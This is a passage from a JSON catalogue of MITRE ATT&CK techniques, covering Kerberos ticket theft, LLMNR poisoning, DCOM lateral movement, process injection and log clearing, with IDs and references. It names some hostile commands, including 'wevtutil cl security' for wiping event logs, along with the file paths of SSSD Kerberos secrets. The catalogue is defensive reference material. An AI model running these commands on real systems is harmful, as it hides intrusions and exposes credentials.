"Command: Command Execution",
"Driver: Driver Load",
"File: File Creation",
"File: File Modification",
"Kernel: Kernel Module Load",
"Module: Module Load",
"Process: OS API Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://msdn.microsoft.com/en-us/library/aa376977",
"https://attack.mitre.org/techniques/T1547",
"https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
"https://capec.mitre.org/data/definitions/564.html",
"https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
]
},
"uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"value": "Boot or Logon Autostart Execution - T1547"
},
{
"description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.(Citation: Krebs-Location)",
"meta": {
"external_id": "EMM-7",
"kill_chain": [
"mitre-mobile-attack:remote-service-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1468",
"https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html",
"https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html"
]
},
"related": [],
"uuid": "6f86d346-f092-4abc-80df-8558a90c426a",
"value": "Remotely Track Device Without Authorization - T1468"
},
{
"description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).",
"meta": {
"external_id": "EMM-7",
"kill_chain": [
"mitre-mobile-attack:remote-service-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1469",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html",
"https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html",
"https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/"
]
},
"uuid": "537ea573-8a1c-468c-956b-d16d2ed9d067",
"value": "Remotely Wipe Data Without Authorization - T1469"
},
{
"description": "An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).\n\nFor example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to adversary-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)).\n\nOn iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).",
"meta": {
"external_id": "STA-7",
"kill_chain": [
"mitre-mobile-attack:defense-evasion",
"mitre-mobile-attack:initial-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1478",
"https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM.html",
"https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html",
"https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security"
]
},
"related": [],
"uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2",
"value": "Install Insecure or Malicious Configuration - T1478"
},
{
"description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n",
"meta": {
"external_id": "CAPEC-652",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Active Directory: Active Directory Credential Request",
"Command: Command Execution",
"File: File Access",
"Logon Session: Logon Session Metadata"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"refs": [
"http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html",
"https://adsecurity.org/?p=1515",
"https://adsecurity.org/?p=227",
"https://adsecurity.org/?p=2293",
"https://attack.mitre.org/techniques/T1558",
"https://blog.stealthbits.com/detect-pass-the-ticket-attacks",
"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
"https://capec.mitre.org/data/definitions/652.html",
"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
"https://docs.microsoft.com/windows-server/administration/windows-commands/klist",
"https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285",
"https://github.com/gentilkiwi/kekeo",
"https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf",
"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
"https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f",
"https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html",
"https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html"
]
},
"uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a",
"value": "Steal or Forge Kerberos Tickets - T1558"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1275).\n\nIn addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)",
"meta": {
"external_id": "T1275",
"kill_chain": [
"mitre-pre-attack:people-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1275"
]
},
"uuid": "b3f36317-3940-4d71-968f-e11ac1bf6a31",
"value": "Aggregate individual's digital footprint - T1275"
},
{
"description": "**This technique has been deprecated. Please use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1568/002).**\n\nThe use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)",
"meta": {
"external_id": "T1323",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1323"
]
},
"uuid": "274164c6-4297-42d4-84b5-2369e51013fe",
"value": "Domain Generation Algorithms (DGA) - T1323"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)",
"meta": {
"external_id": "T1372",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1372"
]
},
"uuid": "58d0b955-ae3d-424a-a537-2804dab38793",
"value": "Unconditional client-side exploitation/Injected Website/Driveby - T1372"
},
{
"description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)",
"meta": {
"external_id": "T1171",
"refs": [
"https://attack.mitre.org/techniques/T1171",
"https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html",
"https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html",
"https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution",
"https://github.com/Kevin-Robertson/Conveigh",
"https://github.com/SpiderLabs/Responder",
"https://github.com/nomex/nbnspoof",
"https://technet.microsoft.com/library/cc958811.aspx",
"https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response",
"https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"
]
},
"related": [
{
"dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
"value": "LLMNR/NBT-NS Poisoning and Relay - T1171"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1390).\n\nGoogle and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)",
"meta": {
"external_id": "T1390",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1390"
]
},
"uuid": "5436571f-2332-4b51-b7ed-0bc822fe02c2",
"value": "OS-vendor provided communication channels - T1390"
},
{
"description": "An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).",
"meta": {
"external_id": "LPN-0",
"kill_chain": [
"mitre-mobile-attack:network-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf",
"https://attack.mitre.org/techniques/T1465",
"https://blog.kaspersky.com/darkhotel-apt/6613/",
"https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html"
]
},
"related": [],
"uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3",
"value": "Rogue Wi-Fi Access Points - T1465"
},
{
"description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
"meta": {
"external_id": "T1070.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1070/001",
"https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog",
"https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil",
"https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx"
]
},
"related": [
{
"dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
"type": "subtechnique-of"
}
],
"uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
"value": "Clear Windows Event Logs - T1070.001"
},
{
"description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)",
"meta": {
"external_id": "T1070.005",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Network Traffic: Network Traffic Content",
"Process: Process Creation",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1070/005",
"https://technet.microsoft.com/bb490717.aspx"
]
},
"related": [
{
"dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
"type": "subtechnique-of"
}
],
"uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
"value": "Network Share Connection Removal - T1070.005"
},
{
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)",
"meta": {
"external_id": "T1021.003",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Module: Module Load",
"Network Traffic: Network Connection Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1021/003",
"https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1",
"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
"https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
"https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
"https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
"https://msdn.microsoft.com/en-us/library/aa394582.aspx",
"https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
"https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom",
"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
]
},
"related": [
{
"dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
"type": "subtechnique-of"
}
],
"uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd",
"value": "Distributed Component Object Model - T1021.003"
},
{
"description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ",
"meta": {
"external_id": "T1602.002",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1602/002",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
"https://us-cert.cisa.gov/ncas/alerts/TA18-106A",
"https://www.us-cert.gov/ncas/alerts/TA18-086A"
]
},
"related": [
{
"dest-uuid": "0ad7bc5c-235a-4048-944b-3b286676cb74",
"type": "subtechnique-of"
}
],
"uuid": "52759bf1-fe12-4052-ace6-c5b0cf7dd7fd",
"value": "Network Device Configuration Dump - T1602.002"
},
{
"description": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.",
"meta": {
"external_id": "T1027.005",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1027/005"
]
},
"related": [
{
"dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
"type": "subtechnique-of"
}
],
"uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92",
"value": "Indicator Removal from Tools - T1027.005"
},
{
"description": "Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)",
"meta": {
"external_id": "T1098.002",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Group: Group Modification",
"User Account: User Account Modification"
],
"mitre_platforms": [
"Windows",
"Office 365"
],
"refs": [
"https://attack.mitre.org/techniques/T1098/002",
"https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps",
"https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/",
"https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html",
"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf",
"https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365"
]
},
"related": [
{
"dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
"type": "subtechnique-of"
}
],
"uuid": "e74de37c-a829-446c-937d-56a44f0e9306",
"value": "Exchange Email Delegate Permissions - T1098.002"
},
{
"description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)",
"meta": {
"external_id": "T1036.004",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Scheduled Job: Scheduled Job Metadata",
"Scheduled Job: Scheduled Job Modification",
"Service: Service Creation",
"Service: Service Metadata"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"refs": [
"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
"https://attack.mitre.org/techniques/T1036/004",
"https://technet.microsoft.com/en-us/library/bb490996.aspx",
"https://vms.drweb.com/virus/?i=4276269",
"https://www.freedesktop.org/software/systemd/man/systemd.service.html"
]
},
"related": [
{
"dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
"type": "subtechnique-of"
}
],
"uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
"value": "Masquerade Task or Service - T1036.004"
},
{
"description": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)",
"meta": {
"external_id": "T1560.003",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"File: File Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
"https://attack.mitre.org/techniques/T1560/003"
]
},
"related": [
{
"dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
"type": "subtechnique-of"
}
],
"uuid": "143c0cbb-a297-4142-9624-87ffc778980b",
"value": "Archive via Custom Method - T1560.003"
},
{
"description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.011",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Process: OS API Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1055/011",
"https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
]
},
"related": [
{
"dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"type": "subtechnique-of"
}
],
"uuid": "0042a9f5-f053-4769-b3ef-9ad018dfa298",
"value": "Extra Window Memory Injection - T1055.011"
},
{
"description": "Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).",
"meta": {
"external_id": "T1134.002",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1134/002",
"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)",
"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
]
},
"related": [
{
"dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
"type": "subtechnique-of"
}
],
"uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf",
"value": "Create Process with Token - T1134.002"
},
{
